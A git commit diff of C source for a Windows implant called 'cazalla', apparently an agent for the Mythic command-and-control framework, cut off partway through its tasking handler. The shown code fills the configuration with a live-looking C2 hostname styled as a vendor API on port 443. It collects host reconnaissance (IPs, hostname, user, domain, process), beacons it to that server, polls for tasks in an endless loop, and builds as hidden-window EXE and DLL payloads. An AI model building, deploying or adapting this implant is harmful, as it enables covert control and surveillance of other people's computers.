v0.5 ps y mejoras

This commit is contained in:
marcos.luna
2025-04-07 10:49:56 +00:00
parent fba98e461a
commit fcd2251761
48 changed files with 2499 additions and 2093 deletions
+28 -28
View File
@@ -1,28 +1,28 @@
Copyright (c) 2023, its-a-feature Copyright (c) 2023, its-a-feature
All rights reserved. All rights reserved.
Redistribution and use in source and binary forms, with or without Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met: modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this * Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer. list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, * Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution. and/or other materials provided with the distribution.
* Neither the name of [project] nor the names of its * Neither the name of [project] nor the names of its
contributors may be used to endorse or promote products derived from contributors may be used to endorse or promote products derived from
this software without specific prior written permission. this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+24 -24
View File
@@ -1,25 +1,25 @@
FROM python:3.11 FROM python:3.11
ARG CA_CERTIFICATE ARG CA_CERTIFICATE
ARG NPM_REGISTRY ARG NPM_REGISTRY
ARG PYPI_INDEX ARG PYPI_INDEX
ARG PYPI_INDEX_URL ARG PYPI_INDEX_URL
ARG DOCKER_REGISTRY_MIRROR ARG DOCKER_REGISTRY_MIRROR
ARG HTTP_PROXY ARG HTTP_PROXY
ARG HTTPS_PROXY ARG HTTPS_PROXY
RUN apt-get -y update && \ RUN apt-get -y update && \
apt-get -y upgrade && \ apt-get -y upgrade && \
apt-get install --no-install-recommends \ apt-get install --no-install-recommends \
software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \ software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \
xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \ xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \
apt-get purge -y && \ apt-get purge -y && \
rm -rf /var/lib/apt/lists/* && \ rm -rf /var/lib/apt/lists/* && \
apt-get clean apt-get clean
COPY requirements.txt / COPY requirements.txt /
RUN pip3 install -r /requirements.txt RUN pip3 install -r /requirements.txt
WORKDIR /Mythic/ WORKDIR /Mythic/
CMD ["python3", "main.py"] CMD ["python3", "main.py"]
+20 -20
View File
@@ -1,20 +1,20 @@
import glob import glob
import os.path import os.path
from pathlib import Path from pathlib import Path
from importlib import import_module, invalidate_caches from importlib import import_module, invalidate_caches
import sys import sys
# Get file paths of all modules. # Get file paths of all modules.
currentPath = Path(__file__) currentPath = Path(__file__)
searchPath = currentPath.parent / "agent_functions" / "*.py" searchPath = currentPath.parent / "agent_functions" / "*.py"
modules = glob.glob(f"{searchPath}") modules = glob.glob(f"{searchPath}")
invalidate_caches() invalidate_caches()
for x in modules: for x in modules:
if not x.endswith("__init__.py") and x[-3:] == ".py": if not x.endswith("__init__.py") and x[-3:] == ".py":
module = import_module(f"{__name__}.agent_functions." + Path(x).stem) module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
for el in dir(module): for el in dir(module):
if "__" not in el: if "__" not in el:
globals()[el] = getattr(module, el) globals()[el] = getattr(module, el)
sys.path.append(os.path.abspath(currentPath.name)) sys.path.append(os.path.abspath(currentPath.name))
@@ -1,115 +1,115 @@
#include "analizador.h" #include "analizador.h"
//Creacion de un nuevo Analizador. //Creacion de un nuevo Analizador.
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) { PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) {
//v2 change to syscalls //v2 change to syscalls
PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador)); PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador));
pAnalizador->buffer = NULL; pAnalizador->buffer = NULL;
pAnalizador->tamano = tamano; pAnalizador->tamano = tamano;
pAnalizador->tamanoOriginal = tamano; pAnalizador->tamanoOriginal = tamano;
pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano); pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano);
if (!pAnalizador->original) { if (!pAnalizador->original) {
return NULL; return NULL;
} }
memcpy(pAnalizador->original, buffer, tamano); memcpy(pAnalizador->original, buffer, tamano);
pAnalizador->buffer = pAnalizador->original; pAnalizador->buffer = pAnalizador->original;
return pAnalizador; return pAnalizador;
} }
VOID liberarAnalizador(PAnalizador analizador) { VOID liberarAnalizador(PAnalizador analizador) {
analizador->original = NULL; analizador->original = NULL;
analizador->buffer = NULL; analizador->buffer = NULL;
LocalFree(analizador); LocalFree(analizador);
} }
BYTE getByte(PAnalizador analizador) { BYTE getByte(PAnalizador analizador) {
BYTE intByte = 0; BYTE intByte = 0;
if (analizador->tamano < 1) { if (analizador->tamano < 1) {
return 0; return 0;
} }
//v2. Syscalls //v2. Syscalls
memcpy(&intByte, analizador->buffer, 1); memcpy(&intByte, analizador->buffer, 1);
analizador->buffer += 1; analizador->buffer += 1;
analizador->tamano -= 1; analizador->tamano -= 1;
return intByte; return intByte;
} }
UINT32 getInt32(PAnalizador analizador) { UINT32 getInt32(PAnalizador analizador) {
UINT32 intByte = 0; UINT32 intByte = 0;
if (analizador->tamano < 4) { if (analizador->tamano < 4) {
return 0; return 0;
} }
//v2. Syscalls //v2. Syscalls
memcpy(&intByte, analizador->buffer, 4); memcpy(&intByte, analizador->buffer, 4);
analizador->buffer += 4; analizador->buffer += 4;
analizador->tamano -= 4; analizador->tamano -= 4;
return BYTESWAP32(intByte); return BYTESWAP32(intByte);
} }
UINT64 getInt64(PAnalizador analizador) { UINT64 getInt64(PAnalizador analizador) {
UINT64 intByte = 0; UINT64 intByte = 0;
if (analizador->tamano < 8) { if (analizador->tamano < 8) {
return 0; return 0;
} }
//v2. Syscalls //v2. Syscalls
memcpy(&intByte, analizador->buffer, 8); memcpy(&intByte, analizador->buffer, 8);
analizador->buffer += 8; analizador->buffer += 8;
analizador->tamano -= 8; analizador->tamano -= 8;
return BYTESWAP64(intByte); return BYTESWAP64(intByte);
} }
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) { PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) {
SIZE_T length = 0; SIZE_T length = 0;
if (*tamano == 0) { if (*tamano == 0) {
length = getInt32(analizador); length = getInt32(analizador);
*tamano = length; *tamano = length;
} }
else { else {
length = *tamano; length = *tamano;
} }
PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length); PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length);
if (!datosDeSalida) { if (!datosDeSalida) {
return NULL; return NULL;
} }
memcpy(datosDeSalida, analizador->buffer, length); memcpy(datosDeSalida, analizador->buffer, length);
analizador->buffer += length; analizador->buffer += length;
analizador->tamano -= length; analizador->tamano -= length;
return datosDeSalida; return datosDeSalida;
} }
PCHAR getString(PAnalizador analizador, PSIZE_T tamano) { PCHAR getString(PAnalizador analizador, PSIZE_T tamano) {
return (PCHAR)getBytes(analizador, tamano); return (PCHAR)getBytes(analizador, tamano);
} }
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) { PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) {
return (PWCHAR)getBytes(analizador, tamano); return (PWCHAR)getBytes(analizador, tamano);
} }
@@ -1,13 +1,13 @@
#pragma once #pragma once
#define initUUID "%UUID%" #define initUUID "41c8ef02-b046-4664-97f4-93bfb20335b4"
#define hostname L"%HOSTNAME%" #define hostname L"datto-api-hyfmh8fhgkhwg6f6.a01.azurefd.net"
#define endpoint L"%ENDPOINT%" #define endpoint L"data"
#define ssl %SSL% #define ssl TRUE
#define proxyenabled %PROXYENABLED% #define proxyenabled FALSE
#define proxyurl L"%PROXYURL%" #define proxyurl L""
#define useragent L"%USERAGENT%" #define useragent L""
#define httpmethod L"POST" #define httpmethod L"POST"
#define port %PORT% #define port 443
#define sleep_time %SLEEPTIME% #define sleep_time 10
@@ -1,43 +1,43 @@
# Compiler # Compiler
CC = x86_64-w64-mingw32-gcc CC = x86_64-w64-mingw32-gcc
CFLAGS = -Wall -w -s -IInclude CFLAGS = -Wall -w -s -IInclude
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
DFLAGS = -D_DEBUG DFLAGS = -D_DEBUG
# Directories # Directories
SRC_FILES := *.c SRC_FILES := *.c
BUILD_DIR = build BUILD_DIR = build
# Ensure build directory exists # Ensure build directory exists
$(shell mkdir -p $(BUILD_DIR)) $(shell mkdir -p $(BUILD_DIR))
# Build Targets # Build Targets
all: exe dll all: exe dll
exe: $(BUILD_DIR)/cazalla.exe exe: $(BUILD_DIR)/cazalla.exe
dll: $(BUILD_DIR)/cazalla.dll dll: $(BUILD_DIR)/cazalla.dll
debug: debug_exe debug_dll debug: debug_exe debug_dll
debug_exe: $(BUILD_DIR)/cazalla-debug.exe debug_exe: $(BUILD_DIR)/cazalla-debug.exe
debug_dll: $(BUILD_DIR)/cazalla-debug.dll debug_dll: $(BUILD_DIR)/cazalla-debug.dll
# Executable Target # Executable Target
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES) $(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES) $(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS) $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS)
# DLL Target # DLL Target
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES) $(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES) $(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS) $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
# Clean up # Clean up
clean: clean:
rm -rf $(BUILD_DIR) rm -rf $(BUILD_DIR)
@@ -1,26 +1,26 @@
#pragma once #pragma once
#ifndef ANALIZADOR_H #ifndef ANALIZADOR_H
#define ANALIZADOR_H #define ANALIZADOR_H
#include "utils.h" #include "utils.h"
typedef struct { typedef struct {
PBYTE original; PBYTE original;
PBYTE buffer; PBYTE buffer;
SIZE_T tamano; SIZE_T tamano;
SIZE_T tamanoOriginal; SIZE_T tamanoOriginal;
} Analizador, * PAnalizador; } Analizador, * PAnalizador;
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano); PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano);
VOID liberarAnalizador(PAnalizador analizador); VOID liberarAnalizador(PAnalizador analizador);
BYTE getByte(PAnalizador analizador); BYTE getByte(PAnalizador analizador);
UINT32 getInt32(PAnalizador analizador); UINT32 getInt32(PAnalizador analizador);
UINT64 getInt64(PAnalizador analizador); UINT64 getInt64(PAnalizador analizador);
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano); PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano);
PCHAR getString(PAnalizador analizador, PSIZE_T tamano); PCHAR getString(PAnalizador analizador, PSIZE_T tamano);
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano); PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano);
#endif #endif
@@ -1,39 +1,39 @@
#include "cazalla.h" #include "cazalla.h"
#include "Config.h" #include "Config.h"
CONFIG_CAZALLA* cazallaConfig = NULL; CONFIG_CAZALLA* cazallaConfig = NULL;
VOID cazallaMain() { VOID cazallaMain() {
//v2: evitar LocalAlloc //v2: evitar LocalAlloc
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA)); cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
cazallaConfig->idAgente = (PCHAR)initUUID; cazallaConfig->idAgente = (PCHAR)initUUID;
cazallaConfig->hostName = (PWCHAR)hostname; cazallaConfig->hostName = (PWCHAR)hostname;
cazallaConfig->puertoHttp = port; cazallaConfig->puertoHttp = port;
cazallaConfig->endPoint = (PWCHAR)endpoint; cazallaConfig->endPoint = (PWCHAR)endpoint;
cazallaConfig->userAgent = (PWCHAR)useragent; cazallaConfig->userAgent = (PWCHAR)useragent;
cazallaConfig->metodoHttp = (PWCHAR)httpmethod; cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
cazallaConfig->SSL = ssl; cazallaConfig->SSL = ssl;
cazallaConfig->proxyHabilitado = proxyenabled; cazallaConfig->proxyHabilitado = proxyenabled;
cazallaConfig->urlProxy = (PWCHAR)proxyurl; cazallaConfig->urlProxy = (PWCHAR)proxyurl;
cazallaConfig->tiempoSleep = sleep_time * 1000; cazallaConfig->tiempoSleep = sleep_time*1000;
PAnalizador respuestaAnalizador = checkin(); PAnalizador respuestaAnalizador = checkin();
if (!respuestaAnalizador) { if (!respuestaAnalizador) {
_err("error en el primer checkin, cerrando\n"); _err("error en el primer checkin, cerrando\n");
return; return;
} }
parseChecking(respuestaAnalizador); parseChecking(respuestaAnalizador);
while (TRUE){ while (TRUE){
rutina(); rutina();
} }
} }
VOID setUUID(PCHAR newUUID) { VOID setUUID(PCHAR newUUID) {
cazallaConfig->idAgente = newUUID; cazallaConfig->idAgente = newUUID;
return; return;
} }
@@ -1,35 +1,35 @@
#pragma once #pragma once
#ifndef CAZALLA_H #ifndef CAZALLA_H
#define CAZALLA_H #define CAZALLA_H
#include <windows.h> #include <windows.h>
#include "paquete.h" #include "paquete.h"
#include "analizador.h" #include "analizador.h"
#include "utils.h" #include "utils.h"
#include "checkin.h" #include "checkin.h"
typedef struct { typedef struct {
// UUID // UUID
PCHAR idAgente; PCHAR idAgente;
//HTTP //HTTP
PWCHAR hostName; PWCHAR hostName;
DWORD puertoHttp; DWORD puertoHttp;
PWCHAR endPoint; PWCHAR endPoint;
PWCHAR userAgent; PWCHAR userAgent;
PWCHAR metodoHttp; PWCHAR metodoHttp;
BOOL SSL; BOOL SSL;
BOOL proxyHabilitado; BOOL proxyHabilitado;
PWCHAR urlProxy; PWCHAR urlProxy;
UINT32 tiempoSleep; UINT32 tiempoSleep;
}CONFIG_CAZALLA, * PCONFIG_CAZALLA; }CONFIG_CAZALLA, * PCONFIG_CAZALLA;
extern PCONFIG_CAZALLA cazallaConfig; extern PCONFIG_CAZALLA cazallaConfig;
VOID setUUID(PCHAR newUUID); VOID setUUID(PCHAR newUUID);
VOID cazallaMain(); VOID cazallaMain();
#endif #endif
@@ -1,35 +1,35 @@
#include "cerrarCallback.h" #include "cerrarCallback.h"
#include "paquete.h" #include "paquete.h"
#include <processthreadsapi.h> #include <processthreadsapi.h>
BOOL cerrarCallback(PAnalizador argumentos){ BOOL cerrarCallback(PAnalizador argumentos){
SIZE_T tamanoUuid = 36; SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid); PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
// Crear paquete de respuesta // Crear paquete de respuesta
PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE); PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE);
// Si falla la creación del paquete, cerramos con error // Si falla la creación del paquete, cerramos con error
if (!paquete) { if (!paquete) {
ExitProcess(1); ExitProcess(1);
return FALSE; return FALSE;
} }
// Agregar el UUID de la tarea // Agregar el UUID de la tarea
addString(paquete, tareaUuid, FALSE); addString(paquete, tareaUuid, FALSE);
// Indicar que la tarea se completó con éxito // Indicar que la tarea se completó con éxito
addByte(paquete, TASK_COMPLETE); addByte(paquete, TASK_COMPLETE);
// Enviar el paquete // Enviar el paquete
mandarPaquete(paquete); mandarPaquete(paquete);
// Liberar memoria del paquete // Liberar memoria del paquete
liberarPaquete(paquete); liberarPaquete(paquete);
// Terminar el proceso // Terminar el proceso
ExitProcess(0); ExitProcess(0);
return TRUE; return TRUE;
} }
@@ -1,11 +1,11 @@
#pragma once #pragma once
#ifndef EXIT_H #ifndef EXIT_H
#define EXIT_H #define EXIT_H
#include <windows.h> #include <windows.h>
#include "analizador.h" #include "analizador.h"
BOOL cerrarCallback(PAnalizador argumentos); BOOL cerrarCallback(PAnalizador argumentos);
#endif //EXIT_H #endif //EXIT_H
@@ -1,196 +1,196 @@
#include "checkin.h" #include "checkin.h"
#include "cazalla.h" #include "cazalla.h"
#pragma comment(lib, "iphlpapi.lib") #pragma comment(lib, "iphlpapi.lib")
#include <iphlpapi.h> #include <iphlpapi.h>
// Obtener Direcciones IPs. // Obtener Direcciones IPs.
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) { UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
PMIB_IPADDRTABLE pTablaDireccionesIP; PMIB_IPADDRTABLE pTablaDireccionesIP;
DWORD dwSize = 0; DWORD dwSize = 0;
DWORD dwRetVal = 0; DWORD dwRetVal = 0;
IN_ADDR IPAddr; IN_ADDR IPAddr;
LPVOID lpMsgBuf; LPVOID lpMsgBuf;
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE)); pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
if (pTablaDireccionesIP) { if (pTablaDireccionesIP) {
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) { if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
LocalFree(pTablaDireccionesIP); LocalFree(pTablaDireccionesIP);
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize); pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
} }
if (pTablaDireccionesIP == NULL) { if (pTablaDireccionesIP == NULL) {
return NULL; return NULL;
} }
} }
else { else {
return NULL; return NULL;
} }
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) { if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
return NULL; return NULL;
} }
else { else {
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries; *numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
} }
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32)); UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
for (UINT32 i = 0; i < *numeroDeIPs; i++) { for (UINT32 i = 0; i < *numeroDeIPs; i++) {
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr; IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr); tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
} }
if (pTablaDireccionesIP) { if (pTablaDireccionesIP) {
LocalFree(pTablaDireccionesIP); LocalFree(pTablaDireccionesIP);
} }
return tableOfIPs; return tableOfIPs;
} }
// Obtener la arquitectura // Obtener la arquitectura
BYTE obtenerArquitectura() { BYTE obtenerArquitectura() {
SYSTEM_INFO informacionDelSistema; SYSTEM_INFO informacionDelSistema;
GetNativeSystemInfo(&informacionDelSistema); GetNativeSystemInfo(&informacionDelSistema);
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) { if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
return 0x64; return 0x64;
} }
return 0x86; return 0x86;
} }
// Obtener el Hostname // Obtener el Hostname
PCHAR obtenerHostame() { PCHAR obtenerHostame() {
LPSTR datos = NULL; LPSTR datos = NULL;
DWORD dataLen = 0; DWORD dataLen = 0;
const char* hostnameRep = "N/A"; const char* hostnameRep = "N/A";
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen)) if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen))
{ {
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) if (datos = (LPSTR)LocalAlloc(LPTR, dataLen))
{ {
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen); GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
hostnameRep = datos; hostnameRep = datos;
} }
} }
return (char*)hostnameRep; return (char*)hostnameRep;
} }
// Obtener el usuario // Obtener el usuario
char* obtenerUsuarios() { char* obtenerUsuarios() {
LPSTR datos = NULL; LPSTR datos = NULL;
DWORD dataLen = 0; DWORD dataLen = 0;
const char* usuario = "N/A"; const char* usuario = "N/A";
if (!GetUserNameA(NULL, &dataLen)) { if (!GetUserNameA(NULL, &dataLen)) {
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) { if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
GetUserNameA(datos, &dataLen); GetUserNameA(datos, &dataLen);
usuario = datos; usuario = datos;
} }
} }
return (char*)usuario; return (char*)usuario;
} }
// Obtener el dominio // Obtener el dominio
LPWSTR obtenerDominio() { LPWSTR obtenerDominio() {
DWORD dwLevel = 102; DWORD dwLevel = 102;
LPWKSTA_INFO_102 pBuf = NULL; LPWKSTA_INFO_102 pBuf = NULL;
PWCHAR dominio = NULL; PWCHAR dominio = NULL;
NET_API_STATUS nStatus; NET_API_STATUS nStatus;
LPWSTR pszServerName = NULL; LPWSTR pszServerName = NULL;
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf); nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
if (nStatus == NERR_Success) { if (nStatus == NERR_Success) {
DWORD length = lstrlenW(pBuf->wki102_langroup); DWORD length = lstrlenW(pBuf->wki102_langroup);
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length); dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length); memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
} }
if (pBuf != NULL) { if (pBuf != NULL) {
NetApiBufferFree(pBuf); NetApiBufferFree(pBuf);
} }
return dominio; return dominio;
} }
char* getOsName() { char* getOsName() {
return (PCHAR)"Windows"; return (PCHAR)"Windows";
} }
// Obtener el nombre del proceso actual // Obtener el nombre del proceso actual
char* obtenerNombreProceso() { char* obtenerNombreProceso() {
char* nombreProceso = NULL; char* nombreProceso = NULL;
HANDLE handle = GetCurrentProcess(); HANDLE handle = GetCurrentProcess();
if (handle) { if (handle) {
DWORD buffSize = 1024; DWORD buffSize = 1024;
CHAR buffer[1024]; CHAR buffer[1024];
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) { if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1); nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
memcpy(nombreProceso, buffer, buffSize); memcpy(nombreProceso, buffer, buffSize);
} }
CloseHandle(handle); CloseHandle(handle);
} }
return nombreProceso; return nombreProceso;
} }
PAnalizador checkin() { PAnalizador checkin() {
UINT32 numeroDeIPs = 0; UINT32 numeroDeIPs = 0;
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE); PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
if (!checkin) { if (!checkin) {
_err("Error: nuevoPaquete() devolvió NULL en checkin\n"); _err("Error: nuevoPaquete() devolvió NULL en checkin\n");
return NULL; return NULL;
} }
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE); addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs); UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
addInt32(checkin, numeroDeIPs); addInt32(checkin, numeroDeIPs);
for (UINT32 i = 0; i < numeroDeIPs; i++) { for (UINT32 i = 0; i < numeroDeIPs; i++) {
addInt32(checkin, tableOfIPs[i]); addInt32(checkin, tableOfIPs[i]);
} }
addString(checkin, getOsName(), TRUE); addString(checkin, getOsName(), TRUE);
addByte(checkin, obtenerArquitectura()); addByte(checkin, obtenerArquitectura());
addString(checkin, obtenerHostame(), TRUE); addString(checkin, obtenerHostame(), TRUE);
addString(checkin, obtenerUsuarios(), TRUE); addString(checkin, obtenerUsuarios(), TRUE);
addWString(checkin, obtenerDominio(), TRUE); addWString(checkin, obtenerDominio(), TRUE);
addInt32(checkin, GetCurrentProcessId()); addInt32(checkin, GetCurrentProcessId());
addString(checkin, obtenerNombreProceso(), TRUE); addString(checkin, obtenerNombreProceso(), TRUE);
addString(checkin, (PCHAR)"1.1.1.1", TRUE); addString(checkin, (PCHAR)"1.1.1.1", TRUE);
PAnalizador respuestaAnalizador = mandarPaquete(checkin); PAnalizador respuestaAnalizador = mandarPaquete(checkin);
liberarPaquete(checkin); liberarPaquete(checkin);
if (!respuestaAnalizador) { if (!respuestaAnalizador) {
_err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n"); _err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n");
return NULL; return NULL;
} }
return respuestaAnalizador; return respuestaAnalizador;
} }
@@ -1,17 +1,17 @@
#pragma once #pragma once
#ifndef CHECKIN_H #ifndef CHECKIN_H
#define CHECKIN_H #define CHECKIN_H
#include <windows.h> #include <windows.h>
#include <lm.h> #include <lm.h>
#include <lmwksta.h> #include <lmwksta.h>
#include "paquete.h" #include "paquete.h"
#include "transporte.h" #include "transporte.h"
#include "analizador.h" #include "analizador.h"
#include "comandos.h" #include "comandos.h"
#pragma comment(lib, "netapi32.lib") #pragma comment(lib, "netapi32.lib")
PAnalizador checkin(); PAnalizador checkin();
#endif #endif
@@ -1,80 +1,83 @@
#include "cazalla.h" #include "cazalla.h"
#include "comandos.h" #include "comandos.h"
BOOL handleGetTasking(PAnalizador obtenerTarea) { BOOL handleGetTasking(PAnalizador obtenerTarea) {
UINT32 numeroTareas = getInt32(obtenerTarea); UINT32 numeroTareas = getInt32(obtenerTarea);
if (numeroTareas) { if (numeroTareas) {
_dbg("[Tareas] hay %d tareas !\n", numeroTareas); _dbg("[Tareas] hay %d tareas !\n", numeroTareas);
} }
for (UINT32 i = 0; i < numeroTareas; i++) { for (UINT32 i = 0; i < numeroTareas; i++) {
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
BYTE tarea = getByte(obtenerTarea); BYTE tarea = getByte(obtenerTarea);
